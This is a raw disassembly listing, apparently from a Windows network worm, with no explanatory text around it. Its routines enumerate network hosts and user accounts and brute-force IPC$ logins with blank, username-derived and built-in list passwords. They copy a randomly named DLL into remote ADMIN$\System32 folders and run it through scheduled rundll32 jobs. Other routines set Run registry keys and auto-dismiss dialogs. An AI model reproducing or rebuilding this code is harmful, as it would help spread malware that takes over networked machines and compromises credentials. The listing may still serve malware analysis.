push eax ; lpServiceName
call sub_9A7EE7
pop ecx
jmp short loc_9A8137
; ---------------------------------------------------------------------------
loc_9A8121: ; CODE XREF: sub_9A7FAE+E6j
; sub_9A7FAE+F2j
push [ebp+hObject] ; hObject
call CloseHandle
lea eax, [ebp+FileName]
push eax ; lpFileName
call DeleteFileA
loc_9A8137: ; CODE XREF: sub_9A7FAE+122j
; sub_9A7FAE+171j
mov eax, [ebp+var_8]
loc_9A813A: ; CODE XREF: sub_9A7FAE+B8j
pop edi
pop esi
pop ebx
leave
retn
sub_9A7FAE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=78h
sub_9A813F proc near ; CODE XREF: sub_9A7170+9Ap
VersionInformation= _OSVERSIONINFOA ptr -0A8h
var_14 = word ptr -14h
InBuffer = byte ptr -0Ch
push ebp
lea ebp, [esp-78h]
sub esp, 0A8h
lea eax, [ebp+78h+VersionInformation]
push eax ; lpVersionInformation
mov [ebp+78h+VersionInformation.dwOSVersionInfoSize], 9Ch
call GetVersionExA
test eax, eax
jz short loc_9A81BC
cmp [ebp+78h+VersionInformation.dwMajorVersion], 5
jnb short loc_9A816A
xor eax, eax
inc eax
jmp short loc_9A81BE
; ---------------------------------------------------------------------------
loc_9A816A: ; CODE XREF: sub_9A813F+24j
jnz short loc_9A8190
xor eax, eax
inc eax
cmp [ebp+78h+VersionInformation.dwMinorVersion], 0
jz short loc_9A81BE
cmp [ebp+78h+VersionInformation.dwMinorVersion], eax
jnz short loc_9A8183
cmp [ebp+78h+var_14], 2
jnb short loc_9A8190
jmp short loc_9A81BE
; ---------------------------------------------------------------------------
loc_9A8183: ; CODE XREF: sub_9A813F+39j
cmp [ebp+78h+VersionInformation.dwMinorVersion], 2
jnz short loc_9A8190
cmp [ebp+78h+var_14], 0
jz short loc_9A81BE
loc_9A8190: ; CODE XREF: sub_9A813F:loc_9A816Aj
; sub_9A813F+40j ...
lea eax, [ebp+78h+InBuffer]
push eax
push 10000000h
call sub_9A7E5A
test eax, eax
pop ecx
pop ecx
jz short loc_9A81BC
lea eax, [ebp+78h+InBuffer]
push eax ; lpInBuffer
push 1000h ; nNumberOfBytesToWrite
push offset dword_9A16A0 ; lpBuffer
call sub_9A7FAE
add esp, 0Ch
jmp short loc_9A81BE
; ---------------------------------------------------------------------------
loc_9A81BC: ; CODE XREF: sub_9A813F+1Ej
; sub_9A813F+63j
xor eax, eax
loc_9A81BE: ; CODE XREF: sub_9A813F+29j
; sub_9A813F+34j ...
add ebp, 78h
leave
retn
sub_9A813F endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_9A81C3(BYTE Data)
sub_9A81C3 proc near ; CODE XREF: sub_9AE6A2+31Ap
Data = byte ptr 4
push esi
push edi
push dword ptr [esp+8+Data] ; Data
mov edi, offset word_9A2716
push edi ; lpValueName
mov esi, offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
push esi ; lpSubKey
push 80000001h ; hKey
call sub_9AC0F9
push dword ptr [esp+18h+Data] ; Data
push edi ; lpValueName
push esi ; lpSubKey
push 80000002h ; hKey
call sub_9AC0F9
add esp, 20h
pop edi
pop esi
retn
sub_9A81C3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9A81F5 proc near ; CODE XREF: StartAddress+5Ep
var_8 = dword ptr -8
Data = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
and [ebp+var_8], 0
and dword ptr [ebp+Data], 0
push esi
push edi
lea eax, [ebp+Data]
push eax ; lpData
mov edi, offset word_9A2716
push edi ; lpValueName
mov esi, offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
push esi ; lpSubKey
push 80000001h ; int
call sub_9AC117
lea eax, [ebp+var_8]
push eax ; lpData
push edi ; lpValueName
push esi ; lpSubKey
push 80000002h ; int
call sub_9AC117
mov eax, [ebp+var_8]
add esp, 20h
cmp eax, dword ptr [ebp+Data]
pop edi
pop esi
ja short loc_9A823E
mov eax, dword ptr [ebp+Data]
loc_9A823E: ; CODE XREF: sub_9A81F5+44j
mov ecx, [ebp+arg_0]
mov [ecx], eax
leave
retn
sub_9A81F5 endp
; =============== S U B R O U T I N E =======================================
sub_9A8245 proc near ; CODE XREF: sub_9A799E+83p
; sub_9A8326+5Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push edi
or edi, 0FFFFFFFFh
test eax, eax
jz short loc_9A8279
mov edx, [esp+4+arg_0]
push ebx
push esi
loc_9A8257: ; CODE XREF: sub_9A8245+30j
movzx ecx, byte ptr [edx]
push 8
inc edx
pop esi
loc_9A825E: ; CODE XREF: sub_9A8245+2Dj
mov ebx, ecx
xor ebx, edi
shr edi, 1
test bl, 1
jz short loc_9A826F
xor edi, 0EDB88320h
loc_9A826F: ; CODE XREF: sub_9A8245+22j
shr ecx, 1
dec esi
jnz short loc_9A825E
dec eax
jnz short loc_9A8257
pop esi
pop ebx
loc_9A8279: ; CODE XREF: sub_9A8245+Aj
mov eax, edi
pop edi
retn
sub_9A8245 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9A827D proc near ; CODE XREF: sub_9A86D0+28p
Name = word ptr -208h
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 208h
push [ebp+arg_0]
lea eax, [ebp+Name]
push offset aSIpc ; "\\\\%s\\IPC$"
push 104h ; Count
push eax ; Dest
call _snwprintf
and [ebp+var_2], 0
add esp, 10h
push 1 ; fForce
push 0 ; dwFlags
lea eax, [ebp+Name]
push eax ; lpName
call WNetCancelConnection2W
xor eax, eax
leave
retn
sub_9A827D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9A82BC(int, LPCWSTR lpUserName, LPCWSTR lpPassword)
sub_9A82BC proc near ; CODE XREF: sub_9A86D0+Fp
Dest = word ptr -228h
var_22 = word ptr -22h
Dst = byte ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
lpUserName = dword ptr 0Ch
lpPassword = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 228h
push esi
push [ebp+arg_0]
lea eax, [ebp+Dest]
push offset aSIpc ; "\\\\%s\\IPC$"
push 104h ; Count
push eax ; Dest
xor esi, esi
call _snwprintf
push 20h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
mov [ebp+var_22], si
call memset
add esp, 1Ch
push esi ; dwFlags
push [ebp+lpUserName] ; lpUserName
lea eax, [ebp+Dest]
push [ebp+lpPassword] ; lpPassword
mov [ebp+var_C], eax
lea eax, [ebp+Dst]
push eax ; lpNetResource
mov [ebp+var_14], 3
mov [ebp+var_10], offset Str
call WNetAddConnection2W
test eax, eax
jnz short loc_9A8321
inc esi
loc_9A8321: ; CODE XREF: sub_9A82BC+62j
mov eax, esi
pop esi
leave
retn
sub_9A82BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9A8326(LPCWSTR lpWideCharStr)
sub_9A8326 proc near ; CODE XREF: sub_9A86D0+1Ep
FindFileData = _WIN32_FIND_DATAW ptr -864h
FileName = word ptr -614h
var_40E = word ptr -40Eh
Servername = word ptr -40Ch
var_206 = word ptr -206h
var_204 = byte ptr -204h
var_186 = word ptr -186h
MultiByteStr = byte ptr -184h
var_183 = byte ptr -183h
var_80 = byte ptr -80h
var_6C = byte ptr -6Ch
Dest = word ptr -50h
Dst = dword ptr -34h
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_28 = dword ptr -28h
Source = word ptr -24h
SystemTime = _SYSTEMTIME ptr -1Ch
JobId = dword ptr -0Ch
NumberOfBytesWritten= dword ptr -8
var_4 = dword ptr -4
lpWideCharStr = dword ptr 8
push ebp
mov ebp, esp
sub esp, 864h
mov al, ds:Password
push ebx
push esi
push edi
push 40h
pop ecx
mov [ebp+MultiByteStr], al
xor eax, eax
lea edi, [ebp+var_183]
rep stosd
xor ebx, ebx
push ebx ; lpUsedDefaultChar
push ebx ; lpDefaultChar
stosw
stosb
mov esi, 104h
push esi ; cbMultiByte
lea eax, [ebp+MultiByteStr]
push eax ; lpMultiByteStr
push 0FFFFFFFFh ; cchWideChar
push [ebp+lpWideCharStr] ; lpWideCharStr
mov [ebp+var_4], ebx
push ebx ; dwFlags
push ebx ; CodePage
call WideCharToMultiByte
lea eax, [ebp+MultiByteStr]
push eax ; Str
call strlen
push eax
lea eax, [ebp+MultiByteStr]
push eax
call sub_9A8245
xor eax, 45419005h
push eax ; Seed
call srand
call rand
push 4
cdq
pop ecx
idiv ecx
lea eax, [ebp+Dest]
add edx, 5
push edx
push eax
call sub_9AB677
mov edi, wcscat
lea eax, [ebp+Dest]
push offset a_ ; "."
push eax ; Dest
call edi ; wcscat
lea eax, [ebp+Dest]
push eax ; Source
lea eax, [ebp+var_6C]
push eax ; Dest
call wcscpy
add esp, 28h
loc_9A83CE: ; CODE XREF: sub_9A8326+D3j
call rand
push 3
cdq
pop ecx
idiv ecx
lea eax, [ebp+Source]
inc edx
push edx
push eax
call sub_9AB677
lea eax, [ebp+Source]
push offset aDll ; "dll"
push eax ; Str1
call wcscmp
add esp, 10h
test eax, eax
jz short loc_9A83CE
call sub_9AB510
lea eax, [ebp+Source]
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call edi ; wcscat
lea eax, [ebp+var_6C]
push offset aDll ; "dll"
push eax ; Dest
call edi ; wcscat
mov edi, _snwprintf
lea eax, [ebp+Dest]
push eax
push [ebp+lpWideCharStr]
lea eax, [ebp+FileName]
push offset aSAdminSystem32 ; "\\\\%s\\ADMIN$\\System32\\%s"
push esi ; Count
push eax ; Dest
call edi ; _snwprintf
lea eax, [ebp+var_6C]
push eax
push [ebp+lpWideCharStr]
lea eax, [ebp+Servername]
push offset aSAdminSystem32 ; "\\\\%s\\ADMIN$\\System32\\%s"
push esi ; Count
push eax ; Dest
mov [ebp+var_40E], bx
call edi ; _snwprintf
add esp, 38h
lea eax, [ebp+FindFileData]
push eax ; lpFindFileData
lea eax, [ebp+Servername]
push eax ; lpFileName
mov [ebp+var_206], bx
call FindFirstFileW
cmp eax, 0FFFFFFFFh
jz short loc_9A848C
push eax ; hFindFile
call FindClose
cmp [ebp+FindFileData.nFileSizeLow], ebx
jz short loc_9A848C
loc_9A8480: ; CODE XREF: sub_9A8326+191j
; sub_9A8326+19Ej
mov [ebp+var_4], 1
jmp loc_9A85F4
; ---------------------------------------------------------------------------
loc_9A848C: ; CODE XREF: sub_9A8326+149j
; sub_9A8326+158j
push ebx ; hTemplateFile
push 6 ; dwFlagsAndAttributes
push 1 ; dwCreationDisposition
push ebx ; lpSecurityAttributes
push 1 ; dwShareMode
push 40000000h ; dwDesiredAccess
lea eax, [ebp+FileName]
push eax ; lpFileName
call CreateFileW
cmp eax, 0FFFFFFFFh
mov [ebp+JobId], eax
jnz short loc_9A84C6
call GetLastError
cmp eax, 50h
jz short loc_9A8480
cmp eax, 0B7h
jnz loc_9A85F4
jmp short loc_9A8480
; ---------------------------------------------------------------------------
loc_9A84C6: ; CODE XREF: sub_9A8326+186j
push ebx ; lpOverlapped
lea ecx, [ebp+NumberOfBytesWritten]
push ecx ; lpNumberOfBytesWritten
push ds:nNumberOfBytesToWrite ; nNumberOfBytesToWrite
mov [ebp+NumberOfBytesWritten], ebx
push ds:lpBuffer ; lpBuffer
push eax ; hFile
call WriteFile
test eax, eax
jz short loc_9A84F7
mov eax, [ebp+NumberOfBytesWritten]
cmp eax, ds:nNumberOfBytesToWrite
jnz short loc_9A84F7
mov [ebp+var_4], 1
loc_9A84F7: ; CODE XREF: sub_9A8326+1BDj
; sub_9A8326+1C8j
push [ebp+JobId] ; hObject
call CloseHandle
push ebx ; lpUsedDefaultChar
push ebx ; lpDefaultChar
push esi ; cbMultiByte
lea eax, [ebp+MultiByteStr]
push eax ; lpMultiByteStr
push 0FFFFFFFFh ; cchWideChar
lea eax, [ebp+FileName]
push eax ; lpWideCharStr
push ebx ; dwFlags
push ebx ; CodePage
call WideCharToMultiByte
test eax, eax
jz short loc_9A852C
lea eax, [ebp+MultiByteStr]
push eax ; lpFileName
call sub_9AB6A9
pop ecx
loc_9A852C: ; CODE XREF: sub_9A8326+1F7j
cmp [ebp+var_4], ebx
jz loc_9A85E7
call rand
push 4
cdq
pop ecx
idiv ecx
lea eax, [ebp+var_80]
add edx, 5
push edx
push eax
call sub_9AB677
lea eax, [ebp+var_80]
push eax
lea eax, [ebp+Dest]
push eax
push offset aRundll32_exeSS ; "rundll32.exe %s,%s"
lea eax, [ebp+var_204]
push 40h ; Count
push eax ; Dest
call edi ; _snwprintf
push [ebp+lpWideCharStr]
lea eax, [ebp+Servername]
push offset aS ; "\\\\%s"
push esi ; Count
push eax ; Dest
mov [ebp+var_186], bx
call edi ; _snwprintf
add esp, 2Ch
lea eax, [ebp+SystemTime]
push eax ; lpSystemTime
mov [ebp+var_206], bx
call GetLocalTime
inc [ebp+SystemTime.wHour]
cmp [ebp+SystemTime.wHour], 18h
jb short loc_9A85A4
add [ebp+SystemTime.wHour], 0FFE8h
loc_9A85A4: ; CODE XREF: sub_9A8326+276j
push 10h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call memset
movzx eax, [ebp+SystemTime.wHour]
imul eax, 36EE80h
mov [ebp+Dst], eax
lea eax, [ebp+var_204]
mov [ebp+var_28], eax
add esp, 0Ch
lea eax, [ebp+JobId]
push eax ; JobId
lea eax, [ebp+Dst]
push eax ; Buffer
lea eax, [ebp+Servername]
push eax ; Servername
mov [ebp+var_2C], 7Fh
mov [ebp+var_2B], 11h
call NetScheduleJobAdd
jmp short loc_9A85F4
; ---------------------------------------------------------------------------
loc_9A85E7: ; CODE XREF: sub_9A8326+209j
lea eax, [ebp+FileName]
push eax ; lpFileName
call DeleteFileW
loc_9A85F4: ; CODE XREF: sub_9A8326+161j
; sub_9A8326+198j ...
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_9A8326 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9A85FC(LPCWSTR servername)
sub_9A85FC proc near ; CODE XREF: sub_9A870C+2Bp
; sub_9A870C+3Ap
totalentries = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
resume_handle = dword ptr -10h
entriesread = dword ptr -0Ch
var_8 = dword ptr -8
Buffer = dword ptr -4
servername = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
xor ebx, ebx
push edi
xor esi, esi
mov [ebp+Buffer], ebx
mov [ebp+resume_handle], ebx
xor edi, edi
loc_9A8611: ; CODE XREF: sub_9A85FC+B9j
lea eax, [ebp+resume_handle]
push eax ; resume_handle
lea eax, [ebp+totalentries]
push eax ; totalentries
lea eax, [ebp+entriesread]
push eax ; entriesread
push 0FFFFFFFFh ; prefmaxlen
lea eax, [ebp+Buffer]
push eax ; bufptr
push 0 ; filter
push 1 ; level
push [ebp+servername] ; servername
call NetUserEnum
test eax, eax
mov [ebp+var_18], eax
jz short loc_9A863D
cmp eax, 0EAh
jnz short loc_9A86BB
loc_9A863D: ; CODE XREF: sub_9A85FC+38j
cmp [ebp+Buffer], 0
jz short loc_9A86AE
add edi, [ebp+entriesread]
lea eax, ds:4[edi*4]
push eax ; NewSize
push esi ; Memory
mov [ebp+var_14], edi
call realloc
mov esi, eax
test esi, esi
pop ecx
pop ecx
jz short loc_9A86A2
and [ebp+var_8], 0
cmp [ebp+entriesread], 0
jbe short loc_9A869E
xor edi, edi
loc_9A866C: ; CODE XREF: sub_9A85FC+9Dj
mov eax, [ebp+Buffer]
add eax, edi
cmp dword ptr [eax+0Ch], 0
jz short loc_9A868D
test dword ptr [eax+18h], 2
jnz short loc_9A868D
push dword ptr [eax] ; Str
call _wcsdup
mov [esi+ebx*4], eax
pop ecx
inc ebx
loc_9A868D: ; CODE XREF: sub_9A85FC+79j
; sub_9A85FC+82j
inc [ebp+var_8]
mov eax, [ebp+var_8]
add edi, 20h
cmp eax, [ebp+entriesread]
jb short loc_9A866C
mov edi, [ebp+var_14]
loc_9A869E: ; CODE XREF: sub_9A85FC+6Cj
and dword ptr [esi+ebx*4], 0
loc_9A86A2: ; CODE XREF: sub_9A85FC+62j
push [ebp+Buffer] ; Buffer
call NetApiBufferFree
and [ebp+Buffer], 0
loc_9A86AE: ; CODE XREF: sub_9A85FC+45j
cmp [ebp+var_18], 0EAh
jz loc_9A8611
loc_9A86BB: ; CODE XREF: sub_9A85FC+3Fj
cmp [ebp+Buffer], 0
jz short loc_9A86C9
push [ebp+Buffer] ; Buffer
call NetApiBufferFree
loc_9A86C9: ; CODE XREF: sub_9A85FC+C3j
pop edi
mov eax, esi
pop esi
pop ebx
leave
retn
sub_9A85FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9A86D0(int lpWideCharStr, LPCWSTR lpUserName, LPCWSTR lpPassword)
sub_9A86D0 proc near ; CODE XREF: sub_9A870C+12p
; sub_9A870C+6Dp ...
lpWideCharStr = dword ptr 8
lpUserName = dword ptr 0Ch
lpPassword = dword ptr 10h
push ebp
mov ebp, esp
push esi
push [ebp+lpPassword] ; lpPassword
xor esi, esi
push [ebp+lpUserName] ; lpUserName
push [ebp+lpWideCharStr] ; int
call sub_9A82BC
add esp, 0Ch
test eax, eax
jz short loc_9A86FF
push [ebp+lpWideCharStr] ; lpWideCharStr
call sub_9A8326
push [ebp+lpWideCharStr]
mov esi, eax
call sub_9A827D
pop ecx
pop ecx
loc_9A86FF: ; CODE XREF: sub_9A86D0+19j
push 3Ch ; dwMilliseconds
call Sleep
mov eax, esi
pop esi
pop ebp
retn
sub_9A86D0 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_9A870C(LPCWSTR lpWideCharStr)
sub_9A870C proc near ; CODE XREF: sub_9A88A6+78p
Memory = dword ptr -104h
Password = word ptr -100h
lpWideCharStr = dword ptr 4
sub esp, 104h
push ebx
push 0 ; lpPassword
push 0 ; lpUserName
push [esp+110h+lpWideCharStr] ; lpWideCharStr
call sub_9A86D0
mov ebx, eax
add esp, 0Ch
test ebx, ebx
jnz loc_9A8891
push [esp+108h+lpWideCharStr] ; servername
call sub_9A85FC
test eax, eax
pop ecx
mov [esp+108h+Memory], eax
jnz short loc_9A8758
push eax ; servername
call sub_9A85FC
test eax, eax
pop ecx
mov [esp+108h+Memory], eax
jz loc_9A8891
loc_9A8758: ; CODE XREF: sub_9A870C+37j
push ebp
mov ebp, wcslen
push esi
mov esi, [esp+110h+Memory]
push edi
loc_9A8765: ; CODE XREF: sub_9A870C+171j
cmp dword ptr [esi], 0
jz loc_9A8883
mov eax, [esi]
push eax ; lpPassword
push eax ; lpUserName
push [esp+11Ch+lpWideCharStr] ; lpWideCharStr
call sub_9A86D0
mov ebx, eax
add esp, 0Ch
test ebx, ebx
jnz loc_9A886F
push dword ptr [esi] ; Str
call ebp ; wcslen
test eax, eax
pop ecx
jz loc_9A8826
push dword ptr [esi] ; Str
call ebp ; wcslen
lea eax, ds:2[eax*4]
push eax ; Size
call malloc
mov edi, eax
test edi, edi
pop ecx
pop ecx
jz short loc_9A8826
push dword ptr [esi] ; Source
push edi ; Dest
call wcscpy
push dword ptr [esi] ; Source
push edi ; Dest
call wcscat
push edi ; lpPassword
push dword ptr [esi] ; lpUserName
push [esp+12Ch+lpWideCharStr] ; lpWideCharStr
call sub_9A86D0
mov ebx, eax
add esp, 1Ch
test ebx, ebx
jnz short loc_9A881A
push dword ptr [esi] ; Str
call ebp ; wcslen
test eax, eax
pop ecx
jle short loc_9A8801
loc_9A87E5: ; CODE XREF: sub_9A870C+F3j
push dword ptr [esi] ; Str
call ebp ; wcslen
mov ecx, [esi]
sub eax, ebx
mov ax, [ecx+eax*2-2]
mov [edi+ebx*2], ax
push dword ptr [esi] ; Str
inc ebx
call ebp ; wcslen
cmp ebx, eax
pop ecx
pop ecx
jl short loc_9A87E5
loc_9A8801: ; CODE XREF: sub_9A870C+D7j
and word ptr [edi+ebx*2], 0
push edi ; lpPassword
push dword ptr [esi] ; lpUserName
push [esp+11Ch+lpWideCharStr] ; lpWideCharStr
call sub_9A86D0
add esp, 0Ch
mov ebx, eax
loc_9A881A: ; CODE XREF: sub_9A870C+CEj
push edi ; Memory
call free
test ebx, ebx
pop ecx
jnz short loc_9A886F
loc_9A8826: ; CODE XREF: sub_9A870C+86j
; sub_9A870C+A4j
xor edi, edi
loc_9A8828: ; CODE XREF: sub_9A870C+161j
cmp edi, 3E4h
jnb short loc_9A886F
push 80h ; cchWideChar
lea eax, [esp+118h+Password]
push eax ; lpWideCharStr
push 0FFFFFFFFh ; cbMultiByte
push ds:off_9B9010[edi] ; lpMultiByteStr
push 0 ; dwFlags
push 0 ; CodePage
call MultiByteToWideChar
test eax, eax
jz short loc_9A8868
lea eax, [esp+114h+Password]
push eax ; lpPassword
push dword ptr [esi] ; lpUserName
push [esp+11Ch+lpWideCharStr] ; lpWideCharStr
call sub_9A86D0
add esp, 0Ch
mov ebx, eax
loc_9A8868: ; CODE XREF: sub_9A870C+142j
add edi, 4
test ebx, ebx
jz short loc_9A8828
loc_9A886F: ; CODE XREF: sub_9A870C+79j
; sub_9A870C+118j ...
push dword ptr [esi] ; Memory
call free
add esi, 4
test ebx, ebx
pop ecx
jz loc_9A8765
loc_9A8883: ; CODE XREF: sub_9A870C+5Cj
push [esp+114h+Memory] ; Memory
call free
pop ecx
pop edi
pop esi
pop ebp
loc_9A8891: ; CODE XREF: sub_9A870C+1Ej
; sub_9A870C+46j
push 7D0h ; dwMilliseconds
call Sleep
mov eax, ebx
pop ebx
add esp, 104h
retn
sub_9A870C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9A88A6 proc near ; CODE XREF: sub_9A89BC+16p
totalentries = dword ptr -10h
var_C = dword ptr -0Ch
entriesread = dword ptr -8
Buffer = dword ptr -4
push ebp
mov ebp, esp
sub esp, 10h
push edi
xor edi, edi
push edi ; resume_handle
push edi ; domain
push 0FFFFFFFFh ; servertype
lea eax, [ebp+totalentries]
push eax ; totalentries
lea eax, [ebp+entriesread]
push eax ; entriesread
push 0FFFFFFFFh ; prefmaxlen
lea eax, [ebp+Buffer]
push eax ; bufptr
push 65h ; level
push edi ; servername
mov [ebp+var_C], edi
mov [ebp+entriesread], edi
mov [ebp+Buffer], edi
call NetServerEnum
cmp eax, edi
jz short loc_9A88E7
cmp eax, 0EAh
jnz short loc_9A8936
cmp [ebp+Buffer], edi
jz short loc_9A8943
cmp [ebp+entriesread], edi
jz short loc_9A8936
loc_9A88E7: ; CODE XREF: sub_9A88A6+2Ej
push ebx
xor ebx, ebx
cmp [ebp+entriesread], edi
jbe short loc_9A8935
push esi
xor esi, esi
loc_9A88F2: ; CODE XREF: sub_9A88A6+8Cj
mov eax, [ebp+Buffer]
add eax, esi
test byte ptr [eax+11h], 10h
jz short loc_9A892B
cmp dword ptr [eax+8], 4
jbe short loc_9A892B
push offset word_9B9F40 ; Str2
push dword ptr [eax+4] ; Str1
call wcscmp
test eax, eax
pop ecx
pop ecx
jz short loc_9A892B
mov eax, [ebp+Buffer]
push dword ptr [esi+eax+4] ; lpWideCharStr
call sub_9A870C
pop ecx
mov [ebp+var_C], 1
loc_9A892B: ; CODE XREF: sub_9A88A6+55j
; sub_9A88A6+5Bj ...
inc ebx
add esi, 18h
cmp ebx, [ebp+entriesread]
jb short loc_9A88F2
pop esi
loc_9A8935: ; CODE XREF: sub_9A88A6+47j
pop ebx
loc_9A8936: ; CODE XREF: sub_9A88A6+35j
; sub_9A88A6+3Fj
cmp [ebp+Buffer], edi
jz short loc_9A8943
push [ebp+Buffer] ; Buffer
call NetApiBufferFree
loc_9A8943: ; CODE XREF: sub_9A88A6+3Aj
; sub_9A88A6+93j
mov eax, [ebp+var_C]
pop edi
leave
retn
sub_9A88A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9A8949 proc near ; CODE XREF: sub_9A89BC+Fp
nSize = dword ptr -8
Buffer = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push edi
call sub_9AC33A
mov edi, eax
call sub_9AB510
and [ebp+Buffer], 0
lea eax, [ebp+Buffer]
push eax ; bufptr
push 64h ; level
push 0 ; servername
call NetWkstaGetInfo
test eax, eax
jnz short loc_9A8993
mov eax, [ebp+Buffer]
push 104h ; Count
push dword ptr [eax+4] ; Source
push offset word_9B9F40 ; Dest
call wcsncpy
add esp, 0Ch
and ds:word_9BA146, 0
jmp short loc_9A89A9
; ---------------------------------------------------------------------------
loc_9A8993: ; CODE XREF: sub_9A8949+25j
lea eax, [ebp+nSize]
push eax ; nSize
push offset word_9B9F40 ; lpBuffer
mov [ebp+nSize], 104h
call GetComputerNameW
loc_9A89A9: ; CODE XREF: sub_9A8949+48j
cmp [ebp+Buffer], 0
jz short loc_9A89B7
push [ebp+Buffer] ; Buffer
call NetApiBufferFree
loc_9A89B7: ; CODE XREF: sub_9A8949+64j
mov eax, edi
pop edi
leave
retn
sub_9A8949 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
; DWORD __stdcall sub_9A89BC(LPVOID)
sub_9A89BC proc near ; DATA XREF: sub_9A89E8+9o
push esi
mov esi, Sleep
push edi
push 493E0h ; dwMilliseconds
loc_9A89C9: ; CODE XREF: sub_9A89BC+2Aj
call esi ; Sleep
call sub_9A8949
mov edi, eax
call sub_9A88A6
test edi, edi
jz short loc_9A89E1
call RevertToSelf
loc_9A89E1: ; CODE XREF: sub_9A89BC+1Dj
push 249F00h
jmp short loc_9A89C9
sub_9A89BC endp
; =============== S U B R O U T I N E =======================================
sub_9A89E8 proc near ; CODE XREF: StartAddress+1D4p
var_4 = byte ptr -4
push ecx
lea eax, [esp+4+var_4]
push eax ; lpThreadId
xor eax, eax
push eax ; dwCreationFlags
push eax ; lpParameter
push offset sub_9A89BC ; lpStartAddress
push eax ; dwStackSize
push eax ; lpThreadAttributes
call CreateThread
push eax ; hObject
call CloseHandle
pop ecx
retn
sub_9A89E8 endp
; =============== S U B R O U T I N E =======================================
; BOOL __stdcall fn(HWND, LPARAM)
fn proc near ; DATA XREF: sub_9A8A37+15o
hDlg = dword ptr 4
push 1 ; nIDDlgItem
push [esp+4+hDlg] ; hDlg
call GetDlgItem
test eax, eax
jz short loc_9A8A31
push 0 ; lParam
push 0 ; wParam
push 0F5h ; Msg
push eax ; hWnd
call PostMessageA
mov ds:dword_9BA148, 1
loc_9A8A31: ; CODE XREF: fn+Ej
xor eax, eax
inc eax
retn 8
fn endp
; =============== S U B R O U T I N E =======================================
; DWORD __stdcall sub_9A8A37(LPVOID)
sub_9A8A37 proc near ; DATA XREF: sub_9A8A72+127o
dwThreadId = dword ptr 4
and ds:dword_9BA148, 0
push esi
xor esi, esi
loc_9A8A41: ; CODE XREF: sub_9A8A37+33j
cmp ds:dword_9BA148, 0
jnz short loc_9A8A6C
push 0 ; lParam
push offset fn ; lpfn
push [esp+0Ch+dwThreadId] ; dwThreadId
call EnumThreadWindows
push 0Ah ; dwMilliseconds
call Sleep
inc esi
cmp esi, 5DCh
jl short loc_9A8A41
loc_9A8A6C: ; CODE XREF: sub_9A8A37+11j
xor eax, eax
pop esi
retn 4
sub_9A8A37 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9A8A72 proc near ; CODE XREF: sub_9A8C1B+5Ep
pvarg = VARIANTARG ptr -38h
ThreadId = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 38h
mov eax, [ebx]
push esi
lea ecx, [ebp+var_1C]
push ecx
xor esi, esi
push ebx
mov [ebp+var_1C], esi
call dword ptr [eax+2Ch]
mov eax, [ebp+var_1C]
cmp eax, esi
jz loc_9A8C18
lea edx, [ebp+var_14]
push edx
mov [ebp+var_8], esi
mov [ebp+var_14], esi
mov ecx, [eax]
push eax
call dword ptr [ecx+1Ch]
mov eax, [ebp+var_14]
cmp eax, esi
jz short loc_9A8AC1
mov ecx, [eax]
lea edx, [ebp+var_8]
push edx
push offset dword_9A2F98
push eax
call dword ptr [ecx]
mov eax, [ebp+var_14]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_9A8AC1: ; CODE XREF: sub_9A8A72+36j
cmp [ebp+var_8], esi
jz loc_9A8C0F
lea eax, [ebp+pvarg]
push eax ; pvarg
call VariantInit
mov eax, [ebp+var_8]
mov ecx, [eax]
push esi
lea edx, [ebp+pvarg]
push edx
push 1
push eax
call dword ptr [ecx+0Ch]
test eax, eax
jnz loc_9A8C06
push edi
loc_9A8AED: ; CODE XREF: sub_9A8A72+18Dj
cmp word ptr [ebp+pvarg.anonymous_0], 0Dh
jnz loc_9A8BE3
mov eax, dword ptr [ebp+pvarg.anonymous_0+8]
lea edx, [ebp+var_4]
push edx
push offset dword_9A2F88
mov [ebp+var_4], esi
mov ecx, [eax]
push eax
call dword ptr [ecx]
cmp [ebp+var_4], esi
jz loc_9A8BE3
mov eax, [ebx]
lea ecx, [ebp+var_10]
push ecx
push [ebp+var_4]
mov [ebp+var_10], esi
push ebx
call dword ptr [eax+30h]
mov eax, [ebp+var_10]
cmp eax, esi
jz loc_9A8BDA
lea edx, [ebp+var_20]
push edx
